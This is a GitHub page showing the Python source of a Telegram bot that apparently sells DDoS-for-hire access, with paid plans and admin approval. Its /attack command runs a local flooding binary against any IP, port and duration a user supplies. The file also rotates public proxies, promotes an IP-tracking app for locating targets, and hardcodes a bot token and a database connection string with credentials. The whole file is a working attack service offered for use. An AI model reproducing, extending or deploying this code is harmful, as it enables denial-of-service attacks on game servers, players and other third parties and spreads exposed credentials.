-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMAIN.py
583 lines (500 loc) · 27.5 KB
/
MAIN.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
import os
import signal
import telebot
import json
import requests
import logging
import time
from pymongo import MongoClient
from datetime import datetime, timedelta
import certifi
import random
from threading import Thread
import asyncio
import aiohttp
from telebot import types
import pytz
import psutil
loop = asyncio.get_event_loop()
TOKEN = '7581149775:AAHUK6xcFzqnU1MkPf0G80lSpI_NfYbuXgY'
MONGO_URI = 'mongodb+srv://Soul:[email protected]'
FORWARD_CHANNEL_ID = -1002275893076
CHANNEL_ID = -1002275893076
error_channel_id = -1002275893076
logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
client = MongoClient(MONGO_URI, tlsCAFile=certifi.where())
db = client['danger']
users_collection = db.users
bot = telebot.TeleBot(TOKEN)
REQUEST_INTERVAL = 1
blocked_ports = [8700, 20000, 443, 17500, 9031, 20002, 20001] # Blocked ports list
async def start_asyncio_thread():
asyncio.set_event_loop(loop)
await start_asyncio_loop()
def update_proxy():
proxy_list = [
"https://43.134.234.74:443", "https://175.101.18.21:5678", "https://179.189.196.52:5678",
"https://162.247.243.29:80", "https://173.244.200.154:44302", "https://173.244.200.156:64631",
"https://207.180.236.140:51167", "https://123.145.4.15:53309", "https://36.93.15.53:65445",
"https://1.20.207.225:4153", "https://83.136.176.72:4145", "https://115.144.253.12:23928",
"https://78.83.242.229:4145", "https://128.14.226.130:60080", "https://194.163.174.206:16128",
"https://110.78.149.159:4145", "https://190.15.252.205:3629", "https://101.43.191.233:2080",
"https://202.92.5.126:44879", "https://221.211.62.4:1111", "https://58.57.2.46:10800",
"https://45.228.147.239:5678", "https://43.157.44.79:443", "https://103.4.118.130:5678",
"https://37.131.202.95:33427", "https://172.104.47.98:34503", "https://216.80.120.100:3820",
"https://182.93.69.74:5678", "https://8.210.150.195:26666", "https://49.48.47.72:8080",
"https://37.75.112.35:4153", "https://8.218.134.238:10802", "https://139.59.128.40:2016",
"https://45.196.151.120:5432", "https://24.78.155.155:9090", "https://212.83.137.239:61542",
"https://46.173.175.166:10801", "https://103.196.136.158:7497", "https://82.194.133.209:4153",
"https://210.4.194.196:80", "https://88.248.2.160:5678", "https://116.199.169.1:4145",
"https://77.99.40.240:9090", "https://143.255.176.161:4153", "https://172.99.187.33:4145",
"https://43.134.204.249:33126", "https://185.95.227.244:4145", "https://197.234.13.57:4145",
"https://81.12.124.86:5678", "https://101.32.62.108:1080", "https://192.169.197.146:55137",
"https://82.117.215.98:3629", "https://202.162.212.164:4153", "https://185.105.237.11:3128",
"https://123.59.100.247:1080", "https://192.141.236.3:5678", "https://182.253.158.52:5678",
"https://164.52.42.2:4145", "https://185.202.7.161:1455", "https://186.236.8.19:4145",
"https://36.67.147.222:4153", "https://118.96.94.40:80", "https://27.151.29.27:2080",
"https://181.129.198.58:5678", "https://200.105.192.6:5678", "https://103.86.1.255:4145",
"https://171.248.215.108:1080", "https://181.198.32.211:4153", "https://188.26.5.254:4145",
"https://34.120.231.30:80", "https://103.23.100.1:4145", "https://194.4.50.62:12334",
"https://201.251.155.249:5678", "https://37.1.211.58:1080", "https://86.111.144.10:4145",
"https://80.78.23.49:1080"
]
proxy = random.choice(proxy_list)
telebot.apihelper.proxy = {'https': proxy}
logging.info("Proxy updated successfully.")
@bot.message_handler(commands=['update_proxy'])
def update_proxy_command(message):
chat_id = message.chat.id
try:
update_proxy()
bot.send_message(chat_id, "Proxy updated successfully.")
except Exception as e:
bot.send_message(chat_id, f"Failed to update proxy: {e}")
async def start_asyncio_loop():
while True:
await asyncio.sleep(REQUEST_INTERVAL)
def create_inline_keyboard():
markup = types.InlineKeyboardMarkup()
button3 = types.InlineKeyboardButton(
text="❤🩹 𝗝𝗼𝗶𝗻 𝗢𝘂𝗿 𝗖𝗵𝗮𝗻𝗻𝗲𝗹 ❤🩹", url="https://t.me/DEVILVIPDDOSS")
button1 = types.InlineKeyboardButton(text="👤 𝗖𝗼𝗻𝘁𝗮𝗰𝘁 𝗢𝘄𝗻𝗲𝗿 👤",
url="t.me/DEVILVIPDDOS")
markup.add(button3)
markup.add(button1)
return markup
def extend_and_clean_expired_users():
tz = pytz.timezone('Asia/Kolkata')
now = datetime.now(tz)
logging.info(f"Current Date and Time: {now}")
users_cursor = users_collection.find()
for user in users_cursor:
user_id = user.get("user_id")
username = user.get("username", "Unknown User")
time_approved_str = user.get("time_approved")
days = user.get("days", 0)
valid_until_str = user.get("valid_until", "")
approving_admin_id = user.get("approved_by")
if valid_until_str:
try:
valid_until_date = datetime.strptime(valid_until_str, "%Y-%m-%d").date()
time_approved = datetime.strptime(time_approved_str, "%I:%M:%S %p %Y-%m-%d").time() if time_approved_str else datetime.min.time()
valid_until_datetime = datetime.combine(valid_until_date, time_approved)
valid_until_datetime = tz.localize(valid_until_datetime)
if now > valid_until_datetime:
try:
bot.send_message(
user_id,
f"*⚠️ Access Expired! ⚠️*\n"
f"Your access expired on {valid_until_datetime.strftime('%Y-%m-%d %I:%M:%S %p')}.\n"
f"🕒 Approval Time: {time_approved_str if time_approved_str else 'N/A'}\n"
f"📅 Valid Until: {valid_until_datetime.strftime('%Y-%m-%d %I:%M:%S %p')}\n"
f"If you believe this is a mistake or wish to renew your access, please contact support. 💬",
reply_markup=create_inline_keyboard(), parse_mode='Markdown'
)
if approving_admin_id:
bot.send_message(
approving_admin_id,
f"*🔴 User {username} (ID: {user_id}) has been automatically removed due to expired access.*\n"
f"🕒 Approval Time: {time_approved_str if time_approved_str else 'N/A'}\n"
f"📅 Valid Until: {valid_until_datetime.strftime('%Y-%m-%d %I:%M:%S %p')}\n"
f"🚫 Status: Removed*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown'
)
except Exception as e:
logging.error(f"Failed to send message for user {user_id}: {e}")
result = users_collection.delete_one({"user_id": user_id})
if result.deleted_count > 0:
logging.info(f"User {user_id} has been removed from the database. 🗑️")
else:
logging.warning(f"Failed to remove user {user_id} from the database. ⚠️")
except ValueError as e:
logging.error(f"Failed to parse date for user {user_id}: {e}")
logging.info("Approval times extension and cleanup completed. ✅")
async def run_attack_command_async(chat_id, target_ip, target_port, duration):
process = await asyncio.create_subprocess_shell(f"./MAIN {target_ip} {target_port} {duration} 10")
await process.communicate()
bot.attack_in_progress = False
# Notify the user about the attack completion
bot.send_message(chat_id, "*✅ Attack Completed! ✅*\n"
"*The attack has been successfully executed.*\n"
"*Thank you for using our service!*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
def is_user_admin(user_id, chat_id):
try:
return bot.get_chat_member(chat_id, user_id).status in ['administrator', 'creator']
except:
return False
@bot.message_handler(commands=['approve', 'disapprove'])
def approve_or_disapprove_user(message):
user_id = message.from_user.id
chat_id = message.chat.id
is_admin = is_user_admin(user_id, CHANNEL_ID)
cmd_parts = message.text.split()
if not is_admin:
bot.send_message(
chat_id,
"🚫 *Access Denied!*\n"
"❌ *You don't have the required permissions to use this command.*\n"
"💬 *Please contact the bot owner if you believe this is a mistake.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
return
if len(cmd_parts) < 2:
bot.send_message(
chat_id,
"⚠️ *Invalid Command Format!*\n"
"ℹ️ *To approve a user:*\n"
"`/approve <user_id> <plan> <days>`\n"
"ℹ️ *To disapprove a user:*\n"
"`/disapprove <user_id>`\n"
"🔄 *Example:* `/approve 12345678 1 30`\n"
"✅ *This command approves the user with ID 12345678 for Plan 1, valid for 30 days.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
return
action = cmd_parts[0]
try:
target_user_id = int(cmd_parts[1])
except ValueError:
bot.send_message(chat_id,
"⚠️ *Error: [user_id] must be an integer!*\n"
"🔢 *Please enter a valid user ID and try again.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
return
target_username = message.reply_to_message.from_user.username if message.reply_to_message else None
try:
plan = int(cmd_parts[2]) if len(cmd_parts) >= 3 else 0
days = int(cmd_parts[3]) if len(cmd_parts) >= 4 else 0
except ValueError:
bot.send_message(chat_id,
"⚠️ *Error: <plan> and <days> must be integers!*\n"
"🔢 *Ensure that the plan and days are numerical values and try again.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
return
tz = pytz.timezone('Asia/Kolkata')
now = datetime.now(tz).date()
if action == '/approve':
valid_until = (
now +
timedelta(days=days)).isoformat() if days > 0 else now.isoformat()
time_approved = datetime.now(tz).strftime("%I:%M:%S %p %Y-%m-%d")
users_collection.update_one({"user_id": target_user_id}, {
"$set": {
"user_id": target_user_id,
"username": target_username,
"plan": plan,
"days": days,
"valid_until": valid_until,
"approved_by": user_id,
"time_approved": time_approved,
"access_count": 0
}
},
upsert=True)
# Message to the approving admin
bot.send_message(
chat_id,
f"✅ *Approval Successful!*\n"
f"👤 *User ID:* `{target_user_id}`\n"
f"📋 *Plan:* `{plan}`\n"
f"⏳ *Duration:* `{days} days`\n"
f"🎉 *The user has been approved and their account is now active.*\n"
f"🚀 *They will be able to use the bot's commands according to their plan.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
# Message to the target user
bot.send_message(
target_user_id,
f"🎉 *Congratulations, {target_user_id}!*\n"
f"✅ *Your account has been approved!*\n"
f"📋 *Plan:* `{plan}`\n"
f"⏳ *Valid for:* `{days} days`\n"
f"🔥 *You can now use the /attack command to unleash the full power of your plan.*\n"
f"💡 *Thank you for choosing our service! If you have any questions, don't hesitate to ask.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
# Message to the channel
bot.send_message(
CHANNEL_ID,
f"🔔 *Notification:*\n"
f"👤 *User ID:* `{target_user_id}`\n"
f"💬 *Username:* `@{target_username}`\n"
f"👮 *Has been approved by Admin:* `{user_id}`\n"
f"🎯 *The user is now authorized to access the bot according to Plan {plan}.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
elif action == '/disapprove':
users_collection.delete_one({"user_id": target_user_id})
bot.send_message(
chat_id,
f"❌ *Disapproval Successful!*\n"
f"👤 *User ID:* `{target_user_id}`\n"
f"🗑️ *The user's account has been disapproved and all related data has been removed from the system.*\n"
f"🚫 *They will no longer be able to access the bot.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
# Message to the target user
bot.send_message(
target_user_id,
"🚫 *Your account has been disapproved and removed from the system.*\n"
"💬 *If you believe this is a mistake, please contact the admin.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
# Message to the channel
bot.send_message(
CHANNEL_ID,
f"🔕 *Notification:*\n"
f"👤 *User ID:* `{target_user_id}`\n"
f"👮 *Has been disapproved by Admin:* `{user_id}`\n"
f"🗑️ *The user has been removed from the system.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
# Set attack state variables
bot.attack_in_progress = False
bot.attack_duration = 0
bot.attack_start_time = 0
@bot.message_handler(commands=['attack'])
def handle_attack_command(message):
user_id = message.from_user.id
chat_id = message.chat.id
try:
# Check if an attack is already in progress
user_data = users_collection.find_one({"user_id": user_id})
if not user_data or user_data['plan'] == 0:
bot.send_message(chat_id, "*🚫 Access Denied!*\n"
"*You must be approved to use this bot.*\n"
"*Please contact the owner for assistance: @DEVILVIPDDOS.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
return
# Parse the command arguments: /attack <ip> <port> <duration>
args = message.text.split()[1:]
if len(args) != 3:
bot.send_message(chat_id, "*❗ Invalid format!*\n"
"*Please use the following format:*\n"
"`/attack <ip> <port> <duration>`",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
return
target_ip, target_port, duration = args[0], int(args[1]), int(args[2])
if target_port in blocked_ports:
bot.send_message(chat_id, f"*🔒 Port {target_port} is blocked.*\n"
"*Please choose a different port to continue.*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
return
if duration > 600:
bot.send_message(chat_id, "*⏳ The maximum duration allowed is 600 seconds.*\n"
"*Please reduce the duration and try again!*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
return
# Prepare to start the attack
bot.attack_in_progress = True
bot.attack_duration = duration
bot.attack_start_time = time.time()
# Send the initial attack message
sent_message = bot.send_message(chat_id, f"*🚀 Attack Initiated! 🚀*\n\n"
f"*📡 Target Host: {target_ip}*\n"
f"*👉 Target Port: {target_port}*\n"
f"*⏰ Duration: {duration} seconds remaining*\n"
"*Prepare for action! 🔥*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
# Start the attack asynchronously
asyncio.run_coroutine_threadsafe(run_attack_command_async(chat_id, target_ip, target_port, duration), loop)
# Track the last message content to avoid unnecessary edits
last_message_text = ""
# Update the message every second to reflect the remaining duration
for remaining_time in range(duration, 0, -1):
time.sleep(1) # Wait for 1 second
# Ensure the remaining time is updated correctly
elapsed_time = time.time() - bot.attack_start_time
remaining_time = max(0, bot.attack_duration - int(elapsed_time))
new_message_text = (f"*🚀 Attack Initiated! 🚀*\n\n"
f"*📡 Target Host: {target_ip}*\n"
f"*👉 Target Port: {target_port}*\n"
f"*⏰ Duration: {remaining_time} seconds remaining*\n"
"*Prepare for action! 🔥*")
# Only update the message if the content has changed
if new_message_text != last_message_text:
try:
bot.edit_message_text(chat_id=chat_id, message_id=sent_message.message_id,
text=new_message_text,
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
last_message_text = new_message_text
except Exception as e:
if "message is not modified" in str(e):
logging.warning(f"Attempted to modify message with no changes. Skipping...")
else:
logging.error(f"Error in editing message: {e}")
bot.attack_in_progress = False
except Exception as e:
logging.error(f"Error in attack command: {e}")
bot.send_message(chat_id, "*❗ An error occurred while processing your request.*", parse_mode='Markdown')
def start_asyncio_thread():
asyncio.set_event_loop(loop)
loop.run_until_complete(start_asyncio_loop())
@bot.message_handler(commands=['when'])
def when_command(message):
chat_id = message.chat.id
if bot.attack_in_progress:
elapsed_time = time.time() - bot.attack_start_time
remaining_time = bot.attack_duration - elapsed_time
if remaining_time > 0:
bot.send_message(chat_id, f"*⏳ Time Remaining: {int(remaining_time)} seconds...*\n"
"*🔍 Hold tight, the action is still unfolding!*\n"
"*💪 Stay tuned for updates!*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
else:
bot.send_message(chat_id, "*🎉 The attack has successfully completed!*\n"
"*🚀 You can now launch your own attack and showcase your skills!*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
else:
bot.send_message(chat_id, "*❌ No attack is currently in progress!*\n"
"*🔄 Feel free to initiate your attack whenever you're ready!*",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
@bot.message_handler(commands=['myinfo'])
def myinfo_command(message):
try:
user_id = message.from_user.id
user_data = users_collection.find_one({"user_id": user_id})
# Set timezone and format date/time
tz = pytz.timezone('Asia/Kolkata')
now = datetime.now(tz)
current_date = now.date().strftime("%Y-%m-%d")
current_time = now.strftime("%I:%M:%S %p")
if not user_data:
response = (
"*⚠️ No account information found. ⚠️*\n"
"*It looks like you don't have an account with us.*\n"
"*Please contact the owner for assistance.*\n"
)
markup = types.InlineKeyboardMarkup()
button1 = types.InlineKeyboardButton(text="☣️ 𝗖𝗼𝗻𝘁𝗮𝗰𝘁 𝗢𝘄𝗻𝗲𝗿 ☣️",
url="https://t.me/DEVILVIPDDOSS")
button2 = types.InlineKeyboardButton(
text="💸 𝗣𝗿𝗶𝗰𝗲 𝗟𝗶𝘀𝘁 💸", url="https://t.me/DEVILVIPDDOSS")
markup.add(button1)
markup.add(button2)
else:
username = message.from_user.username or "Unknown User"
plan = user_data.get('plan', 'N/A')
valid_until = user_data.get('valid_until', 'N/A')
response = (
f"*👤 Username: @{username}*\n"
f"*💼 Plan: {plan} ₹*\n"
f"*📅 Valid Until: {valid_until}*\n"
f"*📆 Current Date: {current_date}*\n"
f"*🕒 Current Time: {current_time}*\n"
"*🎉 Thank you for being with us! 🎉*\n"
"*If you need any help or have questions, feel free to ask.* 💬"
)
markup = types.InlineKeyboardMarkup()
button = types.InlineKeyboardButton(
text="❤🩹 𝗝𝗼𝗶𝗻 𝗢𝘂𝗿 𝗖𝗵𝗮𝗻𝗻𝗲𝗹 ❤🩹", url="https://t.me/DEVILVIPDDOSS")
markup.add(button)
bot.send_message(message.chat.id,
response,
parse_mode='Markdown',
reply_markup=markup)
except Exception as e:
logging.error(f"Error handling /myinfo command: {e}")
@bot.message_handler(commands=['rules'])
def rules_command(message):
rules_text = (
"*📜 Bot Rules - Keep It Cool!\n\n"
"1. No spamming attacks! ⛔ \nRest for 5-6 matches between DDOS.\n\n"
"2. Limit your kills! 🔫 \nStay under 30-40 kills to keep it fair.\n\n"
"3. Play smart! 🎮 \nAvoid reports and stay low-key.\n\n"
"4. No mods allowed! 🚫 \nUsing hacked files will get you banned.\n\n"
"5. Be respectful! 🤝 \nKeep communication friendly and fun.\n\n"
"6. Report issues! 🛡️ \nMessage TO Owner for any problems.\n\n"
"💡 Follow the rules and let’s enjoy gaming together!*"
)
try:
bot.send_message(message.chat.id, rules_text, reply_markup=create_inline_keyboard(), parse_mode='Markdown')
except Exception as e:
print(f"Error while processing /rules command: {e}")
except Exception as e:
print(f"Error while processing /rules command: {e}")
@bot.message_handler(commands=['help'])
def help_command(message):
help_text = ("*🌟 Welcome to the Ultimate Command Center!*\n\n"
"*Here’s what you can do:* \n"
"1. *`/attack` - ⚔️ Launch a powerful attack and show your skills!*\n"
"2. *`/myinfo` - 👤 Check your account info and stay updated.*\n"
"3. *`/owner` - 📞 Get in touch with the mastermind behind this bot!*\n"
"4. *`/when` - ⏳ Curious about the bot's status? Find out now!*\n"
"5. *`/canary` - 🦅 Grab the latest Canary version for cutting-edge features.*\n"
"6. *`/rules` - 📜 Review the rules to keep the game fair and fun.*\n\n"
"*💡 Got questions? Don't hesitate to ask! Your satisfaction is our priority!*")
try:
bot.send_message(message.chat.id, help_text, reply_markup=create_inline_keyboard(), parse_mode='Markdown')
except Exception as e:
print(f"Error while processing /help command: {e}")
@bot.message_handler(commands=['owner'])
def owner_command(message):
response = (
"*👤 **Owner Information:**\n\n"
"For any inquiries, support, or collaboration opportunities, don't hesitate to reach out to the owner:\n\n"
"📩 **Telegram:** @DEVILVIPDDOS\n\n"
"💬 **We value your feedback!** Your thoughts and suggestions are crucial for improving our service and enhancing your experience.\n\n"
"🌟 **Thank you for being a part of our community!** Your support means the world to us, and we’re always here to help!*\n"
)
bot.send_message(message.chat.id, response, reply_markup=create_inline_keyboard(), parse_mode='Markdown')
@bot.message_handler(commands=['start'])
def start_message(message):
try:
bot.send_message(message.chat.id, "*🌍 WELCOME TO DDOS WORLD!* 🎉\n\n"
"*🚀 Get ready to dive into the action!*\n\n"
"*💣 To unleash your power, use the* `/attack` *command followed by your target's IP and port.* ⚔️\n\n"
"*🔍 Example: After* `/attack`, *enter:* `ip port duration`.\n\n"
"*🔥 Ensure your target is locked in before you strike!*\n\n"
"*📚 New around here? Check out the* `/help` *command to discover all my capabilities.* 📜\n\n"
"*⚠️ Remember, with great power comes great responsibility! Use it wisely... or let the chaos reign!* 😈💥",
reply_markup=create_inline_keyboard(), parse_mode='Markdown')
except Exception as e:
print(f"Error while processing /start command: {e}")
@bot.message_handler(commands=['canary'])
def canary_command(message):
response = ("*📥 Download the HttpCanary APK Now! 📥*\n\n"
"*🔍 Track IP addresses with ease and stay ahead of the game! 🔍*\n"
"*💡 Utilize this powerful tool wisely to gain insights and manage your network effectively. 💡*\n\n"
"*Choose your platform:*")
markup = types.InlineKeyboardMarkup()
button1 = types.InlineKeyboardButton(
text="📱 𝗗𝗼𝘄𝗻𝗹𝗼𝗮𝗱 𝗙𝗼𝗿 𝗔𝗻𝗱𝗿𝗼𝗶𝗱 📱",
url="https://t.me/DEVILVIPDDOSS/167")
button2 = types.InlineKeyboardButton(
text="🍎 𝗗𝗼𝘄𝗻𝗹𝗼𝗮𝗱 𝗳𝗼𝗿 𝗶𝗢𝗦 🍎",
url="https://apps.apple.com/in/app/surge-5/id1442620678")
markup.add(button1)
markup.add(button2)
try:
bot.send_message(message.chat.id,
response,
parse_mode='Markdown',
reply_markup=markup)
except Exception as e:
logging.error(f"Error while processing /canary command: {e}")
if __name__ == "__main__":
asyncio_thread = Thread(target=start_asyncio_thread, daemon=True)
asyncio_thread.start()
extend_and_clean_expired_users()
logging.info("Starting Codespace activity keeper and Telegram bot...")
while True:
try:
bot.polling(none_stop=True)
except Exception as e:
logging.error(f"An error occurred while polling: {e}")
logging.info(f"Waiting for {REQUEST_INTERVAL} seconds before the next request...")
time.sleep(REQUEST_INTERVAL)